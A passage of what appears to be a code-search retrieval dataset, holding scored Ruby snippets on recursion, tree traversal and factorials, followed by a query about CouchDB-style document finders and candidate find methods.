Begin...rescue..end\"\n\t\tputs \"(more examples go here)\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 15\n\t\tputs \"Lets talk about Methods!\"\n\t\tputs \"Methods are shortcuts to a block of code.\"\n\t\tputs \"They take arguments and they typically return a value.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 16\n\t\tputs \"Lets talk about Objects...\"\n\t\tputs \"Objects are a representation of something in the real world.\"\n\t\tputs \"They have properties and methods.\"\n\t\tputs \"For instance: a Car has an engine, and a method to start the engine.\"\n\t\tputs \"Instance vs Class Methods require a new instance of the class to work (def addTwo).\"\n\t\tputs \"Class methods will work without a new instance (def self.addTwo).\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == \"exit\n\t\tputs \"goodbye...\"\n\t\tputs \" \"\n\telse puts \"Oops! Please enter a number between 1-17\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\tend",
"title": ""
},
{
"docid": "88427abc256f81a09a5140571e5afcbb",
"score": "0.5561528",
"text": "def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend",
"title": ""
},
{
"docid": "29f2df00378a59f632e124945748d30b",
"score": "0.5547443",
"text": "def explode!(n)\n n.traverse(:preorder_left) do |p|\n if p.depth == 4\n # puts \"Explode #{p.inspect}\"\n p.explode!\n return true\n end\n end\n\n false\nend",
"title": ""
},
{
"docid": "505d35560bca1d7aa967f4954350b813",
"score": "0.5541942",
"text": "def dfs_rec(target,current,array_length,stack,visited)\n left = current.find_left_child[0]\n right = current.find_right_child[0]\n parent = current.find_parent[0]\n if current.value == target\n return current\n elsif visited.length == array_length\n return nil\n elsif !left.nil? && !visited.include?(left)\n stack.push(left)\n visited.push(left)\n dfs_rec(target,left,array_length,stack,visited)\n elsif !right.nil? && !visited.include?(right)\n stack.push(right)\n visited.push(right)\n dfs_rec(target,right,array_length,stack,visited)\n else\n stack.pop\n dfs_rec(target,parent,array_length,stack,visited)\n end\nend",
"title": ""
},
{
"docid": "58b397c6623258e074cbcb47b1e7f254",
"score": "0.5524038",
"text": "def downto_recursive\n num = 0\n 11.downto(1) do |num|\n num -= 1\n puts num\n end\nend",
"title": ""
},
{
"docid": "884aac7c612c437040c11df17e63f4b5",
"score": "0.5518252",
"text": "def nested(s)\n # this is a wrapper method\n return nested_2(s, 0, (s.length - 1) )\nend",
"title": ""
},
{
"docid": "422cc9dc30ce9522e1f490692a281a38",
"score": "0.55104315",
"text": "def get_children_recursion(node)\n\tif node.class == SOCIAL_NETWORK[0].class\n\t\tnode.children.each do |child|\n\t\t\tget_children_recursion(delegate_word(child))\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "993db06c2c4085cd191fd722f9ca821b",
"score": "0.5505963",
"text": "def recursive_search(path,current_depth)\n # If we haven't hit our max depth\n if current_depth < @depth \n sub_hash = @wiki\n # Follow our path down the hash\n path.each do |node|\n sub_hash = sub_hash[node]\n end\n\n # Expand this node of the sub-tree\n sub_hash.keys.each do |link|\n sub_hash[link] = get_links(\"http://en.wikipedia.org#{link}\")\n # Here's our magic recursion, add this node to the\n # path, increment our depth, and traverse that\n recursive_search(path+[link],current_depth+1)\n end\n\n end\nend",
"title": ""
},
{
"docid": "7103a2c2eb3c2cff6282f95a837b369a",
"score": "0.5499615",
"text": "def sum_recursion(arr)\n return 0 if arr.empty?\n sum = arr.shift\n sum += sum_of_array(arr)\n # 2 + sum_of_array([3])\n #3 + sum_of_array([])\n\n\nend",
"title": ""
},
{
"docid": "57bdaf8a3ea1b67164b24527d1feb08f",
"score": "0.54971665",
"text": "def factorial_recursion(number)\n\t\ttotal = number\n\tif number > 0\n\t\ttotal = total \n\t\t\n\telse\n\t\tputs total\n\tend\n\n\n\nend",
"title": ""
},
{
"docid": "f4287e99fefafe2b421381997c936826",
"score": "0.54970646",
"text": "def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion x += 1\nend",
"title": ""
},
{
"docid": "f4287e99fefafe2b421381997c936826",
"score": "0.54970646",
"text": "def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion x += 1\nend",
"title": ""
},
{
"docid": "3fad1880ec0b6b3be8e7a3656ec9cf2c",
"score": "0.5495779",
"text": "def deep_thaw!\n replace deep_thaw\n end",
"title": ""
},
{
"docid": "92940508d24bdced8e3bc9ab4d100e43",
"score": "0.54921067",
"text": "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend",
"title": ""
},
{
"docid": "c8f1bd8e90145a62c4e63a653d270656",
"score": "0.5491029",
"text": "def make_pattern(array = [], number) # Define a method with two paremeter one array which will be the output and another one which is the given number.\r\n if number <= 0 # This is our base case it will stop if the number is 0 or less than that.\r\n array << number #Then we will push the number in to the array.\r\n\t\tarray << array.reverse #Now we will push the array in to it self, But in reverse order.\r\n\t\tarray.flatten! # At this two point we have a nested array it should be turn to one array.\r\n array.delete_at(array.length / 2) # Now there is a problem in our array the middle element of the array is repeated twice.So we delete one.\r\n return array # The array is ready to be called.\r\n end\r\n array << number # It pushes the number in to array \r\n make_pattern(array , number - 5) # This will make our method recursive.It will deduct 5 from our number at each time the method execute.\r\nend",
"title": ""
},
{
"docid": "ff713e353e1baa03403f15e567e14346",
"score": "0.5490191",
"text": "def run_recursive_loop &block\n results = yield\n return results\nend",
"title": ""
},
{
"docid": "9438c83ec2d2688612bf93503b9796d4",
"score": "0.5471575",
"text": "def recursive?\n @recursive\n end",
"title": ""
},
{
"docid": "b785cf4c77821ad4be86762c602efcc0",
"score": "0.546802",
"text": "def each_child\n \n end",
"title": ""
},
{
"docid": "3eb4bc37f9628072f1e5e6563fd48e6e",
"score": "0.5467732",
"text": "def factorials_rec(num)\n # p num\n # p \"num #{num} \"\n if num <= 0\n return [1]\n end\n if num == 1\n return [1]\n end\n if num == 2\n return [1, 1]\n end\n # p factorial(3)\n # factorial = num-1 * factorials_rec(num-2)\n # p factorial\n return factorials_rec(num-1) + [factorial(num-1)]\n \nend",
"title": ""
},
{
"docid": "1f16f85769ed52ee61c85268f6cb6a35",
"score": "0.54658955",
"text": "def factorial(number)\n if number == 1 # <-- BASE CASE: scenario that tells recusion when to stop\n return 1\n else\n number * factorial(number - 1) # <-- RULE: determines when recursion should continue\n end\nend",
"title": ""
},
{
"docid": "9dc1efed97e92af874f003ec48c6202a",
"score": "0.5464223",
"text": "def dfs_object(root_node, target)\n #two base cases\n return root_node if root_node.value == target\n # return nil if root_node.parent.nil? #when there are no parents, we know we're back at the actual root of the tree\n\n root_node.children.each do |child_node|\n result = dfs(child_node, target)\n\n #returning nil at this point would cut short\n if result #is not nil\n return result\n end\n end\n\n nil\nend",
"title": ""
},
{
"docid": "fe1a4dffeeb4da32b098447de2257e72",
"score": "0.54622895",
"text": "def factorial_non_recursion(numbers)\n numbers.each do |number|\n result = 1 # <-- reset result to 1 so factorial results from other numbers aren't combined together\n numbers_to_calculate = numbers_to_calculate_factorial(number)\n numbers_to_calculate.each {|number| result *= number}\n puts \"The factorial of the the number #{number} is #{result}\"\n end\nend",
"title": ""
},
{
"docid": "d5f4e83a7f2618b3ee604c6f2f2df219",
"score": "0.5455402",
"text": "def factorial_recursive(n)\n if n == 1\n return 1\n end\n return n * factorial_recursive(n-1)\nend",
"title": ""
},
{
"docid": "7b17f5bc90b2a241f25f23a429cfcb49",
"score": "0.54468596",
"text": "def depth_first(value)\n\tend",
"title": ""
},
{
"docid": "35fbad93603ab20e50aa085b9e69b4b0",
"score": "0.5441046",
"text": "def recursive_iterate( arr, indent=0 )\n\n # remove the first element from the array and print it\n # - if there are any elements left in the array\n # call ourselves again with the shorter array\n\n # first = arr.shift # mutates the arg (a)\n\n # first = arr.first\n # rest = arr[1..-1]\n\n first, *rest = arr # JS: const [first, ...rest] = arr;\n\n spaces = \" \" * indent\n\n puts \"#{ spaces } recursive_iterate( #{ arr.to_s })\"\n puts \"#{ spaces } first: #{ first }\"\n puts \"#{ spaces } rest: #{ rest.to_s }\"\n # puts first\n\n if rest.any?\n recursive_iterate( rest, indent+1 )\n end\n\n puts \"#{ spaces } --- returning from recursive_iterate( #{ arr.to_s} ), first: #{ first }\"\n\nend",
"title": ""
},
{
"docid": "18ca459cd58ca99e9eff0d8aa205980a",
"score": "0.54405415",
"text": "def first_part_of_call_chain(node); end",
"title": ""
},
{
"docid": "18ca459cd58ca99e9eff0d8aa205980a",
"score": "0.54405415",
"text": "def first_part_of_call_chain(node); end",
"title": ""
},
{
"docid": "10b3f9af7163c3f16398a0ba1534d9e7",
"score": "0.54396236",
"text": "def to_recursive\n self\n end",
"title": ""
},
{
"docid": "e20b0c602fe08dec5b05b71281f3bd2e",
"score": "0.5436262",
"text": "def perm_recur(ans=\"\",s)\n if s.length == 0\n return\n end\n\n if s.length == 1\n puts ans + s\n return\n end\n \n if s.length == 2\n puts ans + s[0] + s[1] \n puts ans + s[1] + s[0]\n return\n end\n\n (0..s.size-1).each do |l|\n new = s.chars.rotate(l).join('')\n element = new[0] \n rest = new[1..new.size-1]\n perm_recur(ans + element, rest)\n end\nend",
"title": ""
},
{
"docid": "fd238afada5cc547f446edc4102afc35",
"score": "0.54339695",
"text": "def recursion_test\n begin\n fibonacci = Fibonacci.new\n fibonacci.get_via_recursion(TEST_VALUE)\n rescue SystemStackError => e\n STDERR.puts 'recursion depth death'\n -1\n end\n end",
"title": ""
},
{
"docid": "f127e2632a77b5dd784590028f5a0fd0",
"score": "0.5429736",
"text": "def factorial_recursive(n)\n\tif n == 0\n\t\treturn 1 # 0! = 1\n\telse\n\t\treturn n*factorial_recursive(n-1) #keep calling the function\n\tend\nend",
"title": ""
},
{
"docid": "66ec4b8549664b1bcc81d5fa72afe3fa",
"score": "0.5425718",
"text": "def nested_set_recurse(set, &block)\n block.call self, lambda{\n index = set.index(self) + 1\n while set[index].parent_id == self.id\n set[index].nested_set_recurse(set, &block)\n index += 1\n end\n }\n end",
"title": ""
},
{
"docid": "69c284b5064f07b9fd31b79abb27bf4e",
"score": "0.5414588",
"text": "def preorder\n preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "ca77f63dc3b85641d7da4ac3736ce019",
"score": "0.5414543",
"text": "def short_circuit_recursion(meth)\n puts \"configuring short circuit for meth #{meth}\"\n\n hook_method = RUBY_VERSION >= '1.9.0' ? :\"__#{meth}__recursable__\" : \"__#{meth}__recursable__\"\n # create the copy of the hooked method \n alias_method hook_method, meth\n # declare the original private\n private hook_method\n\n # define our new replacement method that checks if it has been\n # entered first\n define_method meth do |*args|\n private_field = \"@__#{meth}_entered__\"\n has_entered = instance_variable_get(private_field) \n # short-circuit the call if it is an ancestor on the call stack!\n return if (has_entered == true)\n instance_variable_set(private_field, true)\n\n # call the original method\n send(:\"__#{meth}__recursable__\", *args)\n\n instance_variable_set(private_field, false)\n end \n end",
"title": ""
},
{
"docid": "9e9a9c2be874bc124d261b4fc66c83a5",
"score": "0.54138994",
"text": "def recursive_countdown(num)\n if num >= 0\n puts num\n recursive_countdown(num-1)\n end\nend",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "c998109a904d0a60bb510bf649d3db22",
"score": "0.54120135",
"text": "def preorder\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "70d0a3cd2524b6ab5883a7454d62ed4a",
"score": "0.5408786",
"text": "def recursively_fix_breadcrumbs!(cards = collection_cards)\n cards.each do |card|\n next unless card.primary?\n\n if card.item.present?\n # have to reload in order to pick up new parent relationship\n card.item.reload.recalculate_breadcrumb!\n elsif card.collection_id.present?\n # this will run recursively rather than using breadcrumb to find all children\n card.collection.reload.recalculate_breadcrumb!\n card.collection.recursively_fix_breadcrumbs!\n end\n end\n end",
"title": ""
},
{
"docid": "8044587d1aa59b0392d1a78551717db2",
"score": "0.5408074",
"text": "def walk; end",
"title": ""
},
{
"docid": "3c3506925359c4aad6700706b1397077",
"score": "0.5406346",
"text": "def fibonacciRecurse(a,b,depth)\n\tif depth>0\n\t\treturn String(a+b)+\" \"+fibonacciRecurse(b, a+b, depth-1)\n\telse\n\t\treturn \"\"\n\tend\nend",
"title": ""
},
{
"docid": "494e8956d5e82073b41180218deb9927",
"score": "0.54057425",
"text": "def calculate(num)\n return 0 if num.zero?\n num + calculate(num - 1)\nend",
"title": ""
},
{
"docid": "bd2885163e54146bbd1a57695dd86ef1",
"score": "0.5403841",
"text": "def factorial_recursive(n)\n return 1 if n == 0\n n * factorial_recursive(n-1)\nend",
"title": ""
},
{
"docid": "634ff3586fd883a21b09b9375c0a1c7a",
"score": "0.53985995",
"text": "def depth_of(score)\n if include?(score) #This is calling the method on line 44\n 1 + @root_node.depth_of(score) \n else \n nil\n end \nend",
"title": ""
},
{
"docid": "ed36ac106ce32c871868e66046d18170",
"score": "0.5385265",
"text": "def factorial_recursive n\n return 1 if n == 0\n n * factorial_recursive(n-1)\nend",
"title": ""
},
{
"docid": "967abcde6f3981c208194ac687176241",
"score": "0.53846467",
"text": "def sum_rec(nums)\nreturn nums[0] if nums.size == 1\nreturn 0 if nums.size == 0\n nums[0] + sum_rec(nums[1..-1])\nend",
"title": ""
},
{
"docid": "646375f73006f18fcc3e705de49ae55a",
"score": "0.53839594",
"text": "def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end",
"title": ""
},
{
"docid": "d85327638f2a2b90d1127ee784455a2f",
"score": "0.53789026",
"text": "def turtle_trail dir spaces\n if dir == '0'\n world [x] [y+1] = m\n turtle_trail (dir spaces-1) ##trying to make this recursive\n end\n elsif dir == 90\n world [x+1] [y] = m\n turtle_trail (dir spaces-1)\n end",
"title": ""
},
{
"docid": "ea3dcfc9061117eca50507075c4e61b4",
"score": "0.537823",
"text": "def depth_helper(node, arr, depth)\n if node.left.nil? && node.right.nil? \n arr << depth\n return\n else \n depth += 1 \n if node.left\n depth_helper(node.left, arr, depth) \n end \n if node.right\n depth_helper(node.right, arr, depth)\n end \n end \n end",
"title": ""
},
{
"docid": "0152b14b541bd1c21bdc090148fdf81e",
"score": "0.53780246",
"text": "def traverse_recurse(order, mask, value, origin, size, &block)\n\t\t\t\thalf_size = size.collect{|value| value * 0.5}.freeze\n\t\t\t\tprefix_mask = (1 << order) | mask\n\t\t\t\t\n\t\t\t\t(2**bit_width).times do |prefix|\n\t\t\t\t\t# These both do the same thing, not sure which one is faster:\n\t\t\t\t\tchild_value = (value << @dimensions.count) | prefix\n\t\t\t\t\tprefix = child_value << (order*bit_width)\n\t\t\t\t\t\n\t\t\t\t\tindex = HilbertIndex.from_integral(prefix, bit_width, @order).to_ordinal\n\t\t\t\t\t\n\t\t\t\t\tindex = index & prefix_mask\n\t\t\t\t\t\n\t\t\t\t\tchild_origin = @dimensions.unmap(index.axes).freeze\n\t\t\t\t\t\n\t\t\t\t\t# puts \"yield(#{child_origin}, #{half_size}, #{prefix}, #{order})\"\n\t\t\t\t\t# We avoid calling traverse_recurse simply to hit the callback on the leaf nodes:\n\t\t\t\t\tresult = yield child_origin, half_size, prefix, order\n\t\t\t\t\t\n\t\t\t\t\tif order > 0 and result != :skip\n\t\t\t\t\t\tself.traverse_recurse(order - 1, prefix_mask, child_value, child_origin, half_size, &block)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "4af6d0959aecb5ec403eff9830e78cb7",
"score": "0.5370833",
"text": "def preorder\n return preorder_helper(@root)\n end",
"title": ""
},
{
"docid": "665c2eaab55919446b891e60944024f4",
"score": "0.5369804",
"text": "def permutations(array)\n return [array] if array.length <= 1\n \n \n # Similar to the subsets problem, we observe that to get the permutations\n # of [1, 2, 3] we can look at the permutations of [1, 2] which are\n # [1, 2] and [2, 1] and add the last element to every possible index getting\n # [3, 1, 2], [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1]\n \n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n \n \n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend",
"title": ""
},
{
"docid": "ac621869e0a6d6fc445a78dc8f196200",
"score": "0.53695357",
"text": "def build_tree(arr)\n\tend",
"title": ""
},
{
"docid": "73e94ec48fe27ef0859ccf8d5d4b0cb6",
"score": "0.53644514",
"text": "def recursive_factorial(number)\n\nend",
"title": ""
},
{
"docid": "73e94ec48fe27ef0859ccf8d5d4b0cb6",
"score": "0.53644514",
"text": "def recursive_factorial(number)\n\nend",
"title": ""
},
{
"docid": "0503e3f52201e310f4d6f10c09516f08",
"score": "0.53617394",
"text": "def preorder\n # raise NotImplementedError\n return preorder_helper(@root, [])\n end",
"title": ""
},
{
"docid": "cd7c8f8b2e7e9d27789d4a811c268d1e",
"score": "0.53531426",
"text": "def nested_set_recurse(&block)\n self.each do |x| \n x.nested_set_recurse(self, &block)\n end\n end",
"title": ""
}
] |
28a65ba5cfef89236e391196577c5669
|
Find the existant document and returns the document object mapped to this class. ==== Examples Document.find(1) Document.find("abceef") Document.find(1, 2, 3) Document.find([1,2,3]) Document.find(1,:rev => 123456) Note that when the first argument is one of :first, :last or :all, this finder method requests a view name to retrieve documents. In this case options can be the same as CouchDB's querying options ( key an object value determining key parameter. startkey an object value determining startkey parameter. startkey_docid a string value determiming startkey_docid parameter. endkey an object value determining endkey parameter. endkey_docid a string value determiming startkey_docid parameter. count an integer value determining count parameter. descending a boolean value determining descending parameter. skip an integer value determining skip parameter. group an boolean value determining group parameter. group_level an integer value determining gropu_level parameter. Common Options return_raw_hash if set true, finder method returns row hash of the response ==== Examples Document.find(:first, "design_name", "view_name") Document.find(:first, "design_name", "view_name", :key => "abcd") Document.find(:first, "design_name", "view_name", :startkey => ["abcd"], :endkey => ["abcd", "ZZZZ"], :descending => true) Document.find(:last, "design_name", "view_name") Document.find(:all, "design_name", "view_name")
|
[
{
"docid": "91c2f44bc76cf20edb40814b409fb441",
"score": "0.6414833",
"text": "def find(*args)\n options = args.extract_options!\n case args.first\n when :first, :last, :all\n raise ArgumentError.new(\"Design name must be specified. \") unless args[1]\n raise ArgumentError.new(\"View name must be specified. \") unless args[2]\n send(\"find_#{args.first}\", args[1], args[2], options)\n else\n find_from_ids(*(args << options))\n end\n end",
"title": ""
}
] |
[
{
"docid": "7609a10b7b4633f3610a8e4db8e0a62b",
"score": "0.7600527",
"text": "def find_document(options)\n id = options[:id]\n name = options[:name]\n \n self.documents.find do |document|\n if id.not_nil?\n document.id == id\n elsif name.not_nil?\n document.name == name\n end\n end\n end",
"title": ""
},
{
"docid": "8d73c1453dc5dcad0228e06a830c00c7",
"score": "0.74761707",
"text": "def find options={}\r\n query.find options\r\n end",
"title": ""
},
{
"docid": "43bc4eef7d847a507f823e4d527d163f",
"score": "0.7405219",
"text": "def find!(*args)\n found = find(*args)\n raise DocumentNotFound.new(args, found) if !found || Array(found).include?(nil)\n found\n end",
"title": ""
},
{
"docid": "6c23c314123f728650f2c056736324cb",
"score": "0.73083884",
"text": "def find(*args)\n find_by,options = build_options(args)\n return self.model.find(find_by,options)\n end",
"title": ""
},
{
"docid": "7483044c5087e8a8c7a1ab458562b08b",
"score": "0.72906345",
"text": "def find_one (doc = {})\n # doc must be a hash\n # Use the internal doc as a key unless user specifically passes in a doc query\n if !doc.is_a?(Hash) && doc.empty?\n raise \"doc is not a Hash\"\n end\n # TODO\n doc = @doc if doc.empty?\n # if we're searching by BsonID convert\n if doc.include? :_id\n # doc['_id'] must be actually bsonID or the code breaks!\n doc[:_id] = BSON::ObjectId( doc[:_id] )\n end\n @collection.find(doc).limit(1).each do |document|\n @doc = document\n str_id = document['_id'].to_s\n document['_id'] = str_id\n @id = str_id\n end\n # update the object with the Mongo document just retrieved\n update_instance_state(@doc)\n return @child\n end",
"title": ""
},
{
"docid": "85d2fbbb0ff5422ac632980095969b35",
"score": "0.7270612",
"text": "def find_one_by_id(id, options)\n result = instantiate(database.get(id))\n # TODO This is bad, but more efficient in DB terms\n conditions = (scope(:find) || {}).merge(options[:conditions] || {})\n ({:ruby_class => document_class_name}.merge(conditions)).each do |key, value|\n raise DocumentNotFound unless result.read_attribute(key) == value\n end\n result.readonly! if options[:readonly]\n result\n end",
"title": ""
},
{
"docid": "286e8b3151076b5cc350caa7d2dc4ff9",
"score": "0.71803653",
"text": "def find *arguments\n self.class.find *arguments\n end",
"title": ""
},
{
"docid": "a3856adbd76c50573098f59df1382d19",
"score": "0.7167561",
"text": "def find_doc\n # get the specific document by id\n @doc = Doc.find(params[:id]) \n end",
"title": ""
},
{
"docid": "60e572e836fcc3b73d655cab0bd50ed9",
"score": "0.715303",
"text": "def find(query,options={})\n if options[:index]\n find_one(query, options[:index])\n else\n find_many(query, options)\n end\n end",
"title": ""
},
{
"docid": "60e572e836fcc3b73d655cab0bd50ed9",
"score": "0.715303",
"text": "def find(query,options={})\n if options[:index]\n find_one(query, options[:index])\n else\n find_many(query, options)\n end\n end",
"title": ""
},
{
"docid": "d67531167d17a6f39bf776bbb05255ee",
"score": "0.7104025",
"text": "def find(*args)\n (c = coll.find(*args)).is_a?(::Mongo::Cursor) ?\n Cursor.new(c, coll) : c\n end",
"title": ""
},
{
"docid": "6363383048a2501a0636f02d40ac6af1",
"score": "0.7103531",
"text": "def find_doc\n\t\t\t# Find by the parameters Id\n\t\t\t@doc = Doc.find(params[:id])\n\t\tend",
"title": ""
},
{
"docid": "e237260fdeaee45adfdadd0a0c7551c0",
"score": "0.7087768",
"text": "def find(*args)\n res = super\n # The fix is only needed if given an array of ObjectIds.\n if args.length == 1 and args.first.is_a? Array\n res_hash = Hash[res.collect{|doc| [doc.id, doc]}]\n res = args.first.collect{|id| res_hash[id]}\n end\n res\n end",
"title": ""
},
{
"docid": "f13e803b5d2fe93defd52cc269272636",
"score": "0.7075718",
"text": "def find(selector={}, opts={})\n collection.find(selector, opts).collect{|doc| new(doc)}\n end",
"title": ""
},
{
"docid": "94b39bca8bd32d7b190ee889efeda7af",
"score": "0.6991737",
"text": "def find(*args)\n collection.find(*args)\n end",
"title": ""
},
{
"docid": "5845d618edce69dc57072b89eba4cab3",
"score": "0.6959059",
"text": "def find(*args)\n if args.first.is_a?(Symbol)\n options = args.extract_options!\n limit, by, order, fields = parse_find_options(args.first, options)\n index, indices = index_from_find_options(options)\n\n results = if indices\n connection.multi do |multi|\n connection.sinterstore(index, *indices)\n _find(index, :fields => fields, :by => by, :order => order, :limit => limit)\n connection.del(index)\n end[1]\n else\n _find(index, :fields => fields, :by => by, :order => order, :limit => limit)\n end\n\n collection = results.collect do |values|\n instanciate(Hash[ *fields.zip(values).flatten ])\n end\n\n case args.first\n when :all then collection\n when :first, :last then collection.first\n end\n else\n find_with_id(*args)\n end\n end",
"title": ""
},
{
"docid": "cd0acffff63a7571f552ce831f6e96dc",
"score": "0.6834431",
"text": "def find(*args)\n case args.first\n when :first then find_initial(:find, *args)\n when :all then find_all(:find, *args)\n else find_from_ids(:find, *args)\n end\n end",
"title": ""
},
{
"docid": "41caef7bb9fe6b34a31a509b455dcc72",
"score": "0.68212146",
"text": "def find_doc\n @doc = Doc.find(params[:id])\n end",
"title": ""
},
{
"docid": "59c87fcde5f6f243d9417085457b2174",
"score": "0.6787287",
"text": "def find(find_criteria, options={})\n\t \t r = layout.find(find_criteria, options)\n\t \t if ![Hash,Array].include?(find_criteria.class) and r.size == 1\n\t \t r[0]\n\t\t else\n\t\t r\n\t end\n\t rescue Rfm::Error::RecordMissingError\n\t nil\n\t \tend",
"title": ""
},
{
"docid": "6c6707b47e95bcb362d875298c044eba",
"score": "0.671577",
"text": "def find(params={})\n \n end",
"title": ""
},
{
"docid": "a9ae7f7e652fc44cf83cb4d7ad61be9b",
"score": "0.6710002",
"text": "def find(param)\n return @documents if param == :all\n return detect { |document| document.id == param }\n end",
"title": ""
},
{
"docid": "88a2cb56dd55366b3533580a3a8577b4",
"score": "0.6708813",
"text": "def find!(*args)\n if String===args[0] or Integer===args[0]\n find_by_id(*args)\n else\n find_by_query(*args)\n end\n end",
"title": ""
},
{
"docid": "426c32780402034d27e8e768ed6603b7",
"score": "0.66887003",
"text": "def _find(*find_args)\n kwargs = find_args.pop\n page.find(*find_args, **kwargs)\n end",
"title": ""
},
{
"docid": "f67e4d4c0e2d116bf65e069e5c18abce",
"score": "0.66874593",
"text": "def find_one(query={}, opts={})\n return nil unless doc = self.collection.find_one(query, opts)\n \n self.new(doc, false)\n end",
"title": ""
},
{
"docid": "83ff6f674f87cbd3498d44cad10e0e7c",
"score": "0.6669741",
"text": "def find_documents(options = {})\n path = build_path '/document', options, [:document_id]\n params = build_params(options, document_params).merge \\\n build_date_params options, document_date_params\n get_resource path, options, params\n end",
"title": ""
},
{
"docid": "9ee54e7443dbd19a52c62cddb2d85c63",
"score": "0.66397727",
"text": "def find(args, options={})\n args.is_a?(Array) ? __find_many(args, options) : __find_one(args, options)\n end",
"title": ""
},
{
"docid": "268e413ecbfbec9a358419bc9a504743",
"score": "0.6616166",
"text": "def find_one(options); end",
"title": ""
},
{
"docid": "0160d2517e01b45385fca9c449d014e1",
"score": "0.6614788",
"text": "def find(criteria=:all,*args,&evaluator)\n case criteria\n when :all, :first, :some, :one\n send(:\"find_#{criteria}\", *args, &evaluator)\n when Hash\n find_all(*args.unshift(criteria), &evaluator)\n when Array\n find_with_ids(criteria, &evaluator)\n when self, Numeric, String\n find_one(criteria, &evaluator)\n when Model::Base\n find_one(criteria.id, &evaluator)\n else\n raise ArgumentError, \"unsupported finder criteria: #{criteria}:#{criteria.class}\"\n end\n end",
"title": ""
},
{
"docid": "b5c69fe41acd555cecbdc423e37db470",
"score": "0.6587745",
"text": "def find(what, options = {})\n @wrapper.find(@collection, options) do |entry|\n @klass.new(@wrapper, entry)\n end\n end",
"title": ""
},
{
"docid": "ce2516edc40eb5f2419a0773d73cf516",
"score": "0.6551934",
"text": "def find(id)\n @document\n end",
"title": ""
},
{
"docid": "bd21e065b9396a3e8ce3d256e90c0194",
"score": "0.65473723",
"text": "def find_documentable\n params.each do |name, value|\n if name =~ /(.+)_id$/\n klass = $1.classify.constantize\n if klass.respond_to?(:friendly)\n association_method = $1.tableize\n return current_store.send(association_method).friendly.find(value)\n else\n return klass.find(value)\n end\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "73fb36b49a361c0e6cc30728ad670881",
"score": "0.6547067",
"text": "def find(options = {}, &block)\n options = resolve_non_hash_options(options)\n\n ez_resolve_options(options, &block) if block_given?\n\n if find_options = self.ann(:self, :find_options)\n options = find_options.dup.update(options)\n end\n\n options[:class] = self\n options.merge! schema_options\n\n ogmanager.with_store do |s|\n s.find(options)\n end\n end",
"title": ""
},
{
"docid": "9fd9e4c24df4378e43ab6e984449df9d",
"score": "0.65458757",
"text": "def find(*args)\n options = args.last.is_a?(Hash) ? args.pop : {} \n case args.first\n when :all\n find_all(options)\n when :first\n find_first(options)\n when :last\n find_last(options)\n else\n find_from_ids(args, options)\n end\n end",
"title": ""
},
{
"docid": "ca6afe6ba25fa361eb2fad6b50c2b81d",
"score": "0.6544295",
"text": "def find(*args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n finder = args.first\n \n return item(params[:id]) if params[:id]\n return item(finder) if finder.is_a?(Numeric)\n \n all(params)\n end",
"title": ""
},
{
